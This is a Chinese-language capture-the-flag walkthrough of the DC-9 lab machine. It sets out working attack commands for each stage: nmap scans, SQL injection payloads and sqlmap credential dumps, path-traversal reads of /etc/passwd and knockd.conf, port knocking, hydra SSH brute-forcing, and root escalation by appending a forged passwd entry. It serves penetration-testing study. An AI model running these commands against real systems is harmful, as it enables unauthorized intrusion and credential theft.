渗透测试学习之靶机DC-9

过程
1. 探测目标主机

nmap -sP 192.168.246.0/24,得到目标主机IP:192.168.246.146
渗透测试学习之靶机DC-9_第1张图片

2. 信息搜集
  • 端口信息
    nmap -sV -p 1-65535 192.168.246.146
    渗透测试学习之靶机DC-9_第2张图片
  • web站点相关服务信息
    渗透测试学习之靶机DC-9_第3张图片
  • 目录信息
    渗透测试学习之靶机DC-9_第4张图片
    注:不要试着访问welcome.php、session.php和addrecord.php不然会直接跳到登录后的页面,但是并不能做任何操作…无用功,访问了也没关系,清除下缓存就可以了。
3. sql注入(post)
  • 判断注入
    点击search,也就是在search.php页面中,输入Mary' and 1=1#Mary' and 1=2#,前者返回Mary的结果,后者为空,存在sql注入。
    渗透测试学习之靶机DC-9_第5张图片渗透测试学习之靶机DC-9_第6张图片
  • 获取数据库信息
    使用Burp抓包:
    渗透测试学习之靶机DC-9_第7张图片
    将post包保存为dc9.txt,然后进入使用sqlmap
    sqlmap -r /root/Desktop/dc9.txt -p search --dbs
    渗透测试学习之靶机DC-9_第8张图片
    sqlmap -r /root/Desktop/dc9.txt -p search -D users --tables
    渗透测试学习之靶机DC-9_第9张图片
    sqlmap -r /root/Desktop/dc9.txt -p search -D users -T UserDetails --columns
    渗透测试学习之靶机DC-9_第10张图片
    sqlmap -r /root/Desktop/dc9.txt -p search -D users -T UserDetails -C firstname,lastname,username,password --dump
    渗透测试学习之靶机DC-9_第11张图片
    但是使用这些账号登录不了,可能是ssh的,但是ssh给过滤了,跑另一个数据库(方法一样):
    sqlmap -r /root/Desktop/dc9.txt -p search -D Staff --tables
    渗透测试学习之靶机DC-9_第12张图片
    sqlmap -r /root/Desktop/dc9.txt -p search -D Staff -T Users --columns
    渗透测试学习之靶机DC-9_第13张图片
    整个dump下来:
    sqlmap -r /root/Desktop/dc9.txt -p search -D Staff -T Users --dump
    渗透测试学习之靶机DC-9_第14张图片
4. 登录后台

渗透测试学习之靶机DC-9_第15张图片
Add Record这个也没什么用,然后看到下面有个File does not exist,估计是文件包含:
在这里插入图片描述
尝试:
http://192.168.246.146/manage.php?file=../../../../etc/passwd
渗透测试学习之靶机DC-9_第16张图片
可以看到下面的用户,跟之前sqlmap跑出来的username有些对应上,但是22端口过滤了…
参考大佬文章得知,knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口:
http://192.168.246.146/manage.php?file=../../../../etc/knockd.conf
在这里插入图片描述
使用nmap:
nmap -p 7469 192.168.246.146
nmap -p 8475 192.168.246.146
nmap -p 9842 192.168.246.146
渗透测试学习之靶机DC-9_第17张图片
使用hydra看一下哪些用户可以登上ssh。
将用户名密码分别保存为user.txt和pass.txt文件中:
注意字典里不要有空格。
渗透测试学习之靶机DC-9_第18张图片
hydra爆破:
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.246.146 ssh
渗透测试学习之靶机DC-9_第19张图片

5. 登录ssh

使用爆破出来的用户登录,然后查看文件ls -la(可查看隐藏目录文件),在用户janitor中发现隐藏的secrets-for-putin目录,里面含有密码passwords-found-on-post-it-notes.txt,查看后是:
渗透测试学习之靶机DC-9_第20张图片
增加在pass.txt后重新进行爆破:
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.246.146 ssh
渗透测试学习之靶机DC-9_第21张图片
使用新的登录:
查看有无免密执行root的:
sudo -l
渗透测试学习之靶机DC-9_第22张图片

6. 提权

进入/opt/devstuff目录下,看到test.py文件:
渗透测试学习之靶机DC-9_第23张图片
含义:3个参数,将第二个参数的文件内容增加在第三个参数文件里面。
test目录可以root权限执行:
参考大佬思路:构造有root权限的账户放入到/etc/passwd中,利用构造的账户登录,就有了root权限了。
使用openssl生成:
openssl passwd -1 -salt xl xiaoLin
在这里插入图片描述
构造结果:xl:$1$xl$bvz59wqTT5z0GPenBl09W.:0:0::/root:/bin/bash
写入到tmp目录下的xl中:
echo 'xl:$1$xl$bvz59wqTT5z0GPenBl09W.:0:0::/root:/bin/bash' > /tmp/xl
在这里插入图片描述
执行test:
sudo ./test/ /tmp/xl /etc/passwd
然后切换用户:
su xl
xiaoLin
在这里插入图片描述
进入root目录,查看theflag.txt:
渗透测试学习之靶机DC-9_第24张图片

总结
  • 参考文章

你可能感兴趣的:(靶机)